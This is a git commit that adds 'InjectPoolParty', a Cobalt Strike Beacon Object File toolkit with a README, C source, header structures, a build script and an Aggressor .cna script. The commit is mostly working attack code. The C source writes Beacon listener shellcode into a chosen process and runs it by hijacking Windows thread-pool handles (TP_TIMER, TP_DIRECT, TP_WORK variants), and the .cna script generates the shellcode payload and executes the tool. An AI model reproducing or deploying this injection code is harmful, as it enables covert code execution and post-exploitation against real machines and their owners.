Parcourir la source

new tool update

RTO il y a 2 ans
Parent
commit
6c52bd935d

+ 25 - 0
KIT/InjectPoolParty/README.md

@@ -0,0 +1,25 @@
+# InjectPoolParty
+Inject listener shellcode in a specified process and execute it via [Windows Thread Pools](https://github.com/SafeBreach-Labs/PoolParty/). The following execution variants are supported: TP_TIMER (variant 8) | TP_DIRECT (variant 7) | TP_WORK (variant 2). The following beacon shellcode configuration is injected: x64, process, indirect. This can be changed in the .cna script.
+
+## Arguments
+* `<variant>`: Windows Thread Pool execution variant: `TP_TIMER` | `TP_DIRECT` | `TP_WORK` (susceptible to slow execution time).
+* `<pid>`: Process ID of the target process.
+* `<listener>`: Beacon listener name.
+	
+
+## Usage
+* `injectpoolparty <variant> <pid> <listener>`
+
+
+## Example
+* `injectpoolparty TP_TIMER 1234 Shorthaul-HTTPS`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+
+## Acknowledgements
+A round of virtual applause to SafeBreach-Labs! This tool is heavily based on the foundational insights and innovative approaches demonstrated in their [Windows Thread Pools](https://github.com/SafeBreach-Labs/PoolParty/) research project.

+ 69 - 0
KIT/InjectPoolParty/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/InjectPoolParty/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc injectpoolparty.c
+move /y injectpoolparty.obj injectpoolparty.o
+

+ 214 - 0
KIT/InjectPoolParty/injectpoolparty.c

@@ -0,0 +1,214 @@
+#include <stdio.h>
+#include <windows.h>
+#include "injectpoolparty.h"
+#include "beacon.h"
+
+
+BYTE* NtQueryObject_(HANDLE x, OBJECT_INFORMATION_CLASS y) {
+	ULONG InformationLength = 0;
+	NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;
+	BYTE* Information = NULL;
+	NtQueryObject_t pNtQueryObject = (NtQueryObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryObject");
+
+	do {
+		Information = (BYTE*)MSVCRT$realloc(Information, InformationLength);
+		Ntstatus = pNtQueryObject(x, y, Information, InformationLength, &InformationLength);
+	} while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);
+
+	return Information;
+}
+
+HANDLE HijackProcessHandle(PWSTR targetType, HANDLE targetProcess, DWORD accessRights) {
+    BYTE* procInfoBuffer = NULL;
+    ULONG bufferSize = 0;
+    NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
+    NtQueryInformationProcess_t queryInfoProc = (NtQueryInformationProcess_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"));
+
+    do {
+        procInfoBuffer = (BYTE*)MSVCRT$realloc(procInfoBuffer, bufferSize);
+        status = queryInfoProc(targetProcess, (PROCESSINFOCLASS)ProcessHandleInformation, procInfoBuffer, bufferSize, &bufferSize);
+    } while (status == STATUS_INFO_LENGTH_MISMATCH);
+
+    PPROCESS_HANDLE_SNAPSHOT_INFORMATION handleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)procInfoBuffer;
+    HANDLE duplicatedHandle = NULL;
+
+    for (ULONG index = 0; index < handleInfo->NumberOfHandles; index++) {
+        KERNEL32$DuplicateHandle(targetProcess, handleInfo->Handles[index].HandleValue, KERNEL32$GetCurrentProcess(), &duplicatedHandle, accessRights, FALSE, 0);
+
+        BYTE* objTypeInfoBuffer = NtQueryObject_(duplicatedHandle, ObjectTypeInformation);
+        PPUBLIC_OBJECT_TYPE_INFORMATION objTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)objTypeInfoBuffer;
+
+        if (MSVCRT$wcscmp(targetType, objTypeInfo->TypeName.Buffer) == 0) {
+            return duplicatedHandle;
+        }
+    }
+
+    if (procInfoBuffer) {
+        MSVCRT$free(procInfoBuffer);
+    }
+
+    return NULL;
+}
+
+WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryBasicInformation(HANDLE hWorkerFactory) {
+	WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 };
+	NtQueryInformationWorkerFactory_t pNtQueryInformationWorkerFactory = (NtQueryInformationWorkerFactory_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationWorkerFactory"));
+	pNtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL);
+	
+	return WorkerFactoryInformation;
+}
+
+void RemoteTpTimerInsertion(HANDLE hWorkerFactory, PVOID codeAddress, HANDLE hProcess, HANDLE hTimer) { 
+	WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation(hWorkerFactory);
+
+	PFULL_TP_TIMER pTpTimer = (PFULL_TP_TIMER)KERNEL32$CreateThreadpoolTimer((PTP_TIMER_CALLBACK)(codeAddress), NULL, NULL);
+	PFULL_TP_TIMER RemoteTpTimerAddress = (PFULL_TP_TIMER)(KERNEL32$VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_TIMER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
+
+	int Timeout = -10000000;
+	pTpTimer->Work.CleanupGroupMember.Pool = (PFULL_TP_POOL)(WorkerFactoryInformation.StartParameter);
+	pTpTimer->DueTime = Timeout;
+	pTpTimer->WindowStartLinks.Key = Timeout;
+	pTpTimer->WindowEndLinks.Key = Timeout;
+	pTpTimer->WindowStartLinks.Children.Flink = &RemoteTpTimerAddress->WindowStartLinks.Children;
+	pTpTimer->WindowStartLinks.Children.Blink = &RemoteTpTimerAddress->WindowStartLinks.Children;
+	pTpTimer->WindowEndLinks.Children.Flink = &RemoteTpTimerAddress->WindowEndLinks.Children;
+	pTpTimer->WindowEndLinks.Children.Blink = &RemoteTpTimerAddress->WindowEndLinks.Children;
+
+	KERNEL32$WriteProcessMemory(hProcess, RemoteTpTimerAddress, pTpTimer, sizeof(FULL_TP_TIMER), NULL);
+
+	PVOID TpTimerWindowStartLinks = &RemoteTpTimerAddress->WindowStartLinks;
+	KERNEL32$WriteProcessMemory(hProcess,
+		&pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root,
+		(PVOID)(&TpTimerWindowStartLinks),
+		sizeof(TpTimerWindowStartLinks), NULL);
+
+	PVOID TpTimerWindowEndLinks = &RemoteTpTimerAddress->WindowEndLinks;
+	KERNEL32$WriteProcessMemory(hProcess, &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root, (PVOID)(&TpTimerWindowEndLinks), sizeof(TpTimerWindowEndLinks), NULL);
+
+	LARGE_INTEGER ulDueTime = { 0 };
+	ulDueTime.QuadPart = Timeout;
+	T2_SET_PARAMETERS Parameters = { 0 };
+	
+	NtSetTimer2_t pNtSetTimer2 = (NtSetTimer2_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetTimer2"));
+	pNtSetTimer2(hTimer, &ulDueTime, 0, &Parameters);
+}
+
+//susceptible to slow execution time
+void RemoteTpWorkInsertion(HANDLE hWorkerFactory, PVOID shellcodeAddress, HANDLE hTargetPid) {
+    WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation(hWorkerFactory);
+
+	FULL_TP_POOL TargetTpPool;
+    SIZE_T bytesRead;
+    if (!KERNEL32$ReadProcessMemory(hTargetPid, WorkerFactoryInformation.StartParameter, &TargetTpPool, sizeof(FULL_TP_POOL), &bytesRead)) return;
+
+    PLIST_ENTRY TargetTaskQueueHighPriorityList = &TargetTpPool.TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue;
+    PFULL_TP_WORK pTpWork = (PFULL_TP_WORK)KERNEL32$CreateThreadpoolWork((PTP_WORK_CALLBACK)shellcodeAddress, NULL, NULL);
+    pTpWork->CleanupGroupMember.Pool = (PFULL_TP_POOL)WorkerFactoryInformation.StartParameter;
+    pTpWork->Task.ListEntry.Flink = TargetTaskQueueHighPriorityList;
+    pTpWork->Task.ListEntry.Blink = TargetTaskQueueHighPriorityList;
+    pTpWork->WorkState.Exchange = 0x2;
+
+    PFULL_TP_WORK pRemoteTpWork = (PFULL_TP_WORK)KERNEL32$VirtualAllocEx(hTargetPid, NULL, sizeof(FULL_TP_WORK), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+    KERNEL32$WriteProcessMemory(hTargetPid, pRemoteTpWork, pTpWork, sizeof(FULL_TP_WORK), NULL);
+
+
+    PLIST_ENTRY RemoteWorkItemTaskList = &pRemoteTpWork->Task.ListEntry;
+    KERNEL32$WriteProcessMemory(hTargetPid, &TargetTpPool.TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Flink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), NULL);
+    KERNEL32$WriteProcessMemory(hTargetPid, &TargetTpPool.TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Blink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), NULL);
+}
+
+
+void RemoteTpDirectInsertion(HANDLE hIoCompletion, PVOID shellcodeAddress, HANDLE hTargetPid) {
+    TP_DIRECT Direct;
+	
+	ZwSetIoCompletion_t pZwSetIoCompletion = (ZwSetIoCompletion_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwSetIoCompletion"));
+	
+    MSVCRT$memset(&Direct, 0, sizeof(TP_DIRECT)); 
+    Direct.Callback = shellcodeAddress;
+
+    PTP_DIRECT RemoteDirectAddress = (PTP_DIRECT)KERNEL32$VirtualAllocEx(hTargetPid, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+    KERNEL32$WriteProcessMemory(hTargetPid, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL);
+
+    pZwSetIoCompletion(hIoCompletion, RemoteDirectAddress, 0, 0, 0);
+}
+
+PVOID WriteCode(HANDLE hProc, unsigned char * code, unsigned int code_len) {
+    PVOID pAddress = NULL;
+    DWORD dwOld = NULL;
+    BOOL result;
+
+    pAddress = KERNEL32$VirtualAllocEx(hProc, NULL, code_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+    if (pAddress == NULL) return NULL;
+
+    result = KERNEL32$WriteProcessMemory(hProc, pAddress, (PVOID) code, (SIZE_T) code_len, (SIZE_T *) NULL);
+    if (!result) goto cleanup;
+
+    result = KERNEL32$VirtualProtectEx(hProc, pAddress, code_len, PAGE_EXECUTE_READ, &dwOld);
+    if (!result) goto cleanup;
+
+    return pAddress;
+
+cleanup:
+    if (pAddress != NULL) KERNEL32$VirtualFreeEx(hProc, pAddress, 0, MEM_RELEASE);
+    return NULL;
+}
+
+
+int go(char *args, int len) {
+	datap parser;
+    HANDLE hProc = NULL; 
+	PVOID pAddress = NULL;
+	HANDLE hWorkerFactory = NULL;
+	HANDLE hTimer = NULL;
+	DWORD pid = NULL;
+	CHAR *option = ""; 
+	unsigned char * code = NULL;
+	unsigned int code_len = NULL;
+	
+	BeaconDataParse(&parser, args, len);
+	option = BeaconDataExtract(&parser, NULL);
+	pid = BeaconDataInt(&parser);
+	code = BeaconDataExtract(&parser, &code_len);
+
+	hProc = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, (DWORD) pid);
+	if (!hProc) {
+		BeaconPrintf(CALLBACK_ERROR, "[ERROR] Failed opening a handle to the specified process.\n");
+		return -1;
+	}
+	
+	pAddress = WriteCode(hProc, code, code_len);
+	if (!pAddress) {
+		BeaconPrintf(CALLBACK_ERROR, "[ERROR] Failed to write code to the designated process.\n");
+		return -1;
+	}
+	
+	//variant 8
+	if (MSVCRT$strcmp(option, "TP_TIMER") == 0) {
+		hWorkerFactory = HijackProcessHandle((PWSTR)L"TpWorkerFactory\0", hProc, WORKER_FACTORY_ALL_ACCESS); 
+		hTimer = HijackProcessHandle((PWSTR)L"IRTimer\0", hProc, TIMER_ALL_ACCESS);
+		if (!hWorkerFactory || !hTimer) goto cleanup;
+			
+		RemoteTpTimerInsertion(hWorkerFactory, pAddress, hProc, hTimer);
+	}
+	//variant 7
+	if (MSVCRT$strcmp(option, "TP_DIRECT") == 0) {
+		hWorkerFactory = HijackProcessHandle((PWSTR)L"IoCompletion\0", hProc, IO_COMPLETION_ALL_ACCESS); 
+		if (!hWorkerFactory) goto cleanup;
+		
+		RemoteTpDirectInsertion(hWorkerFactory, pAddress, hProc); 
+	}
+	//variant 2:
+	if (MSVCRT$strcmp(option, "TP_WORK") == 0) {
+		hWorkerFactory = HijackProcessHandle((PWSTR)L"TpWorkerFactory\0", hProc, WORKER_FACTORY_ALL_ACCESS);
+		if (!hWorkerFactory) goto cleanup;
+		
+		RemoteTpWorkInsertion(hWorkerFactory, pAddress, hProc); 
+	}
+	
+	BeaconPrintf(CALLBACK_OUTPUT, "Successfully injected code in process ID [%d] at memory address [%p].\n", pid, pAddress); 
+
+cleanup:
+	KERNEL32$CloseHandle(hProc);
+	return 0; 
+}
+

+ 49 - 0
KIT/InjectPoolParty/injectpoolparty.cna

@@ -0,0 +1,49 @@
+# author REDMED-X
+
+beacon_command_register(
+	"injectpoolparty", "Inject listener shellcode in specified process and execute it via Windows Thread Pools.",
+	"INFO:\nInject listener shellcode in specified process and execute it via Windows Thread Pools.\nThe following execution variants are supported: TP_TIMER (variant 8) | TP_DIRECT (variant 7 | TP_WORK (variant 2).\nThe following beacon shellcode configuration is injected: x64, process, indirect. This can be changed in the .cna script.\n\n" .
+	"ARGUMENTS:\n[<variant>]: Windows Thread Pool execution variant: TP_TIMER | TP_DIRECT | TP_WORK (susceptible to slow execution time).\n[<pid>]: Process ID of the target process.\n[<listener>]: Beacon listener name.\n\n" .
+	"USAGE:\ninjectpoolparty <variant> <pid> <listener>\n\n" .
+	"EXAMPLES:\ninjectpoolparty TP_TIMER 1234 Shorthaul-HTTPS\n\n");
+	
+alias injectpoolparty {
+    $bid = $1;
+    $variant = $2;
+    $pid = $3;
+	$listener = $4;
+
+    if ($variant eq "TP_TIMER" || $variant eq "TP_DIRECT" || $variant eq "TP_WORK") {
+        if ($pid eq "") {
+            berror($bid, "Please specify the process ID (pid) of the target process.\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "Please specify one of the following execution variants: TP_TIMER | TP_DIRECT | TP_WORK (susceptible to slow execution time).\n");
+        return;
+    }
+	
+	# Read in the right BOF file
+	$handle = openf(script_resource("injectpoolparty.o"));
+	$data   = readb($handle, -1);
+	closef($handle);
+	
+	if (listener_info($listener) is $null) {
+		berror($bid, "Specified listener was not found: $listener");
+	}
+	else {
+		$sc_data = artifact_payload($listener, "raw", "x64", "process", "Indirect");
+
+		# Pack our arguments
+		$arg_data  = bof_pack($bid, "zib", $variant, $pid, $sc_data);
+
+		blog($bid, "Tasked to start a new listener..");
+		beacon_inline_execute($bid, $data, "go", $arg_data);
+	}
+}
+
+
+
+
+

+ 468 - 0
KIT/InjectPoolParty/injectpoolparty.h

@@ -0,0 +1,468 @@
+#pragma once
+
+#include <windows.h>
+
+#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
+#define WORKER_FACTORY_RELEASE_WORKER 0x0001
+#define WORKER_FACTORY_WAIT 0x0002
+#define WORKER_FACTORY_SET_INFORMATION 0x0004
+#define WORKER_FACTORY_QUERY_INFORMATION 0x0008
+#define WORKER_FACTORY_READY_WORKER 0x0010
+#define WORKER_FACTORY_SHUTDOWN 0x0020
+#define WORKER_FACTORY_ALL_ACCESS ( \
+       STANDARD_RIGHTS_REQUIRED | \
+       WORKER_FACTORY_RELEASE_WORKER | \
+       WORKER_FACTORY_WAIT | \
+       WORKER_FACTORY_SET_INFORMATION | \
+       WORKER_FACTORY_QUERY_INFORMATION | \
+       WORKER_FACTORY_READY_WORKER | \
+       WORKER_FACTORY_SHUTDOWN \
+)
+
+typedef struct _UNICODE_STRING {
+    USHORT Length;
+    USHORT MaximumLength;
+    PWSTR  Buffer;
+} UNICODE_STRING, * PUNICODE_STRING;
+
+
+typedef struct _TP_TASK_CALLBACKS
+{
+    void* ExecuteCallback;
+    void* Unposted;
+} TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS;
+
+typedef struct _TP_TASK
+{
+    struct _TP_TASK_CALLBACKS* Callbacks;
+    UINT32 NumaNode;
+    UINT8 IdealProcessor;
+    char Padding_242[3];
+    struct _LIST_ENTRY ListEntry;
+} TP_TASK, * PTP_TASK;
+
+typedef struct _TPP_REFCOUNT
+{
+    volatile INT32 Refcount;
+} TPP_REFCOUNT, * PTPP_REFCOUNT;
+
+typedef struct _TPP_CALLER
+{
+    void* ReturnAddress;
+} TPP_CALLER, * PTPP_CALLER;
+
+typedef struct _TPP_PH
+{
+    struct _TPP_PH_LINKS* Root;
+} TPP_PH, * PTPP_PH;
+
+typedef struct _TP_DIRECT
+{
+    struct _TP_TASK Task;
+    UINT64 Lock;
+    struct _LIST_ENTRY IoCompletionInformationList;
+    void* Callback;
+    UINT32 NumaNode;
+    UINT8 IdealProcessor;
+    char __PADDING__[3];
+} TP_DIRECT, * PTP_DIRECT;
+
+typedef struct _TPP_TIMER_SUBQUEUE
+{
+    INT64 Expiration;
+    struct _TPP_PH WindowStart;
+    struct _TPP_PH WindowEnd;
+    void* Timer;
+    void* TimerPkt;
+    struct _TP_DIRECT Direct;
+    UINT32 ExpirationWindow;
+    INT32 __PADDING__[1];
+} TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE;
+
+typedef struct _TPP_TIMER_QUEUE
+{
+    struct _RTL_SRWLOCK Lock;
+    struct _TPP_TIMER_SUBQUEUE AbsoluteQueue;
+    struct _TPP_TIMER_SUBQUEUE RelativeQueue;
+    INT32 AllocatedTimerCount;
+    INT32 __PADDING__[1];
+} TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE;
+
+typedef struct _TPP_NUMA_NODE
+{
+    INT32 WorkerCount;
+} TPP_NUMA_NODE, * PTPP_NUMA_NODE;
+
+typedef union _TPP_POOL_QUEUE_STATE
+{
+    union
+    {
+        INT64 Exchange;
+        struct
+        {
+            INT32 RunningThreadGoal : 16;
+            UINT32 PendingReleaseCount : 16;
+            UINT32 QueueLength;
+        };
+    };
+} TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE;
+
+typedef struct _TPP_QUEUE
+{
+    struct _LIST_ENTRY Queue;
+    struct _RTL_SRWLOCK Lock;
+} TPP_QUEUE, * PTPP_QUEUE;
+
+typedef struct _FULL_TP_POOL
+{
+    struct _TPP_REFCOUNT Refcount;
+    long Padding_239;
+    union _TPP_POOL_QUEUE_STATE QueueState;
+    struct _TPP_QUEUE* TaskQueue[3];
+    struct _TPP_NUMA_NODE* NumaNode;
+    struct _GROUP_AFFINITY* ProximityInfo;
+    void* WorkerFactory;
+    void* CompletionPort;
+    struct _RTL_SRWLOCK Lock;
+    struct _LIST_ENTRY PoolObjectList;
+    struct _LIST_ENTRY WorkerList;
+    struct _TPP_TIMER_QUEUE TimerQueue;
+    struct _RTL_SRWLOCK ShutdownLock;
+    UINT8 ShutdownInitiated;
+    UINT8 Released;
+    UINT16 PoolFlags;
+    long Padding_240;
+    struct _LIST_ENTRY PoolLinks;
+    struct _TPP_CALLER AllocCaller;
+    struct _TPP_CALLER ReleaseCaller;
+    volatile INT32 AvailableWorkerCount;
+    volatile INT32 LongRunningWorkerCount;
+    UINT32 LastProcCount;
+    volatile INT32 NodeStatus;
+    volatile INT32 BindingCount;
+    UINT32 CallbackChecksDisabled : 1;
+    UINT32 TrimTarget : 11;
+    UINT32 TrimmedThrdCount : 11;
+    UINT32 SelectedCpuSetCount;
+    long Padding_241;
+    struct _RTL_CONDITION_VARIABLE TrimComplete;
+    struct _LIST_ENTRY TrimmedWorkerList;
+} FULL_TP_POOL, * PFULL_TP_POOL;
+
+typedef struct _ALPC_WORK_ON_BEHALF_TICKET
+{
+    UINT32 ThreadId;
+    UINT32 ThreadCreationTimeLow;
+} ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET;
+
+typedef union _TPP_WORK_STATE
+{
+    union
+    {
+        INT32 Exchange;
+        UINT32 Insertable : 1;
+        UINT32 PendingCallbackCount : 31;
+    };
+} TPP_WORK_STATE, * PTPP_WORK_STATE;
+
+typedef struct _TPP_ITE_WAITER
+{
+    struct _TPP_ITE_WAITER* Next;
+    void* ThreadId;
+} TPP_ITE_WAITER, * PTPP_ITE_WAITER;
+
+typedef struct _TPP_PH_LINKS
+{
+    struct _LIST_ENTRY Siblings;
+    struct _LIST_ENTRY Children;
+    INT64 Key;
+} TPP_PH_LINKS, * PTPP_PH_LINKS;
+
+typedef struct _TPP_ITE
+{
+    struct _TPP_ITE_WAITER* First;
+} TPP_ITE, * PTPP_ITE;
+
+typedef union _TPP_FLAGS_COUNT
+{
+    union
+    {
+        UINT64 Count : 60;
+        UINT64 Flags : 4;
+        INT64 Data;
+    };
+} TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT;
+
+typedef struct _TPP_BARRIER
+{
+    volatile union _TPP_FLAGS_COUNT Ptr;
+    struct _RTL_SRWLOCK WaitLock;
+    struct _TPP_ITE WaitList;
+} TPP_BARRIER, * PTPP_BARRIER;
+
+typedef struct _TP_CLEANUP_GROUP
+{
+    struct _TPP_REFCOUNT Refcount;
+    INT32 Released;
+    struct _RTL_SRWLOCK MemberLock;
+    struct _LIST_ENTRY MemberList;
+    struct _TPP_BARRIER Barrier;
+    struct _RTL_SRWLOCK CleanupLock;
+    struct _LIST_ENTRY CleanupList;
+} TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP;
+
+
+typedef struct _TPP_CLEANUP_GROUP_MEMBER
+{
+    struct _TPP_REFCOUNT Refcount;
+    long Padding_233;
+    const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs;
+    struct _TP_CLEANUP_GROUP* CleanupGroup;
+    void* CleanupGroupCancelCallback;
+    void* FinalizationCallback;
+    struct _LIST_ENTRY CleanupGroupMemberLinks;
+    struct _TPP_BARRIER CallbackBarrier;
+    union
+    {
+        void* Callback;
+        void* WorkCallback;
+        void* SimpleCallback;
+        void* TimerCallback;
+        void* WaitCallback;
+        void* IoCallback;
+        void* AlpcCallback;
+        void* AlpcCallbackEx;
+        void* JobCallback;
+    };
+    void* Context;
+    struct _ACTIVATION_CONTEXT* ActivationContext;
+    void* SubProcessTag;
+    struct _GUID ActivityId;
+    struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket;
+    void* RaceDll;
+    FULL_TP_POOL* Pool;
+    struct _LIST_ENTRY PoolObjectLinks;
+    union
+    {
+        volatile INT32 Flags;
+        UINT32 LongFunction : 1;
+        UINT32 Persistent : 1;
+        UINT32 UnusedPublic : 14;
+        UINT32 Released : 1;
+        UINT32 CleanupGroupReleased : 1;
+        UINT32 InCleanupGroupCleanupList : 1;
+        UINT32 UnusedPrivate : 13;
+    };
+    long Padding_234;
+    struct _TPP_CALLER AllocCaller;
+    struct _TPP_CALLER ReleaseCaller;
+    enum _TP_CALLBACK_PRIORITY CallbackPriority;
+    INT32 __PADDING__[1];
+} TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER;
+
+typedef struct _FULL_TP_WORK
+{
+    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
+    struct _TP_TASK Task;
+    volatile union _TPP_WORK_STATE WorkState;
+    INT32 __PADDING__[1];
+} FULL_TP_WORK, * PFULL_TP_WORK;
+
+
+typedef struct _FULL_TP_TIMER
+{
+    struct _FULL_TP_WORK Work;
+    struct _RTL_SRWLOCK Lock;
+    union
+    {
+        struct _TPP_PH_LINKS WindowEndLinks;
+        struct _LIST_ENTRY ExpirationLinks;
+    };
+    struct _TPP_PH_LINKS WindowStartLinks;
+    INT64 DueTime;
+    struct _TPP_ITE Ite;
+    UINT32 Window;
+    UINT32 Period;
+    UINT8 Inserted;
+    UINT8 WaitTimer;
+    union
+    {
+        UINT8 TimerStatus;
+        UINT8 InQueue : 1;
+        UINT8 Absolute : 1;
+        UINT8 Cancelled : 1;
+    };
+    UINT8 BlockInsert;
+    INT32 __PADDING__[1];
+} FULL_TP_TIMER, * PFULL_TP_TIMER;
+
+typedef struct _FULL_TP_WAIT
+{
+    struct _FULL_TP_TIMER Timer;
+    void* Handle;
+    void* WaitPkt;
+    void* NextWaitHandle;
+    union _LARGE_INTEGER NextWaitTimeout;
+    struct _TP_DIRECT Direct;
+    union
+    {
+        union
+        {
+            UINT8 AllFlags;
+            UINT8 NextWaitActive : 1;
+            UINT8 NextTimeoutActive : 1;
+            UINT8 CallbackCounted : 1;
+            UINT8 Spare : 5;
+        };
+    } WaitFlags;
+    char __PADDING__[7];
+} FULL_TP_WAIT, * PFULL_TP_WAIT;
+
+typedef struct _FULL_TP_IO
+{
+    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
+    struct _TP_DIRECT Direct;
+    void* File;
+    volatile INT32 PendingIrpCount;
+    INT32 __PADDING__[1];
+} FULL_TP_IO, * PFULL_TP_IO;
+
+typedef struct _FULL_TP_ALPC
+{
+    struct _TP_DIRECT Direct;
+    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
+    void* AlpcPort;
+    INT32 DeferredSendCount;
+    INT32 LastConcurrencyCount;
+    union
+    {
+        UINT32 Flags;
+        UINT32 ExTypeCallback : 1;
+        UINT32 CompletionListRegistered : 1;
+        UINT32 Reserved : 30;
+    };
+    INT32 __PADDING__[1];
+} FULL_TP_ALPC, * PFULL_TP_ALPC;
+
+typedef struct _T2_SET_PARAMETERS_V0
+{
+    ULONG Version;
+    ULONG Reserved;
+    LONGLONG NoWakeTolerance;
+} T2_SET_PARAMETERS, * PT2_SET_PARAMETERS;
+
+typedef enum _PROCESSINFOCLASS {
+    ProcessBasicInformation = 0,
+    ProcessDebugPort = 7,
+    ProcessWow64Information = 26,
+    ProcessImageFileName = 27,
+    ProcessBreakOnTermination = 29
+} PROCESSINFOCLASS;
+
+typedef enum _OBJECT_INFORMATION_CLASS {
+    ObjectBasicInformation = 0,
+    ObjectTypeInformation = 2
+} OBJECT_INFORMATION_CLASS;
+
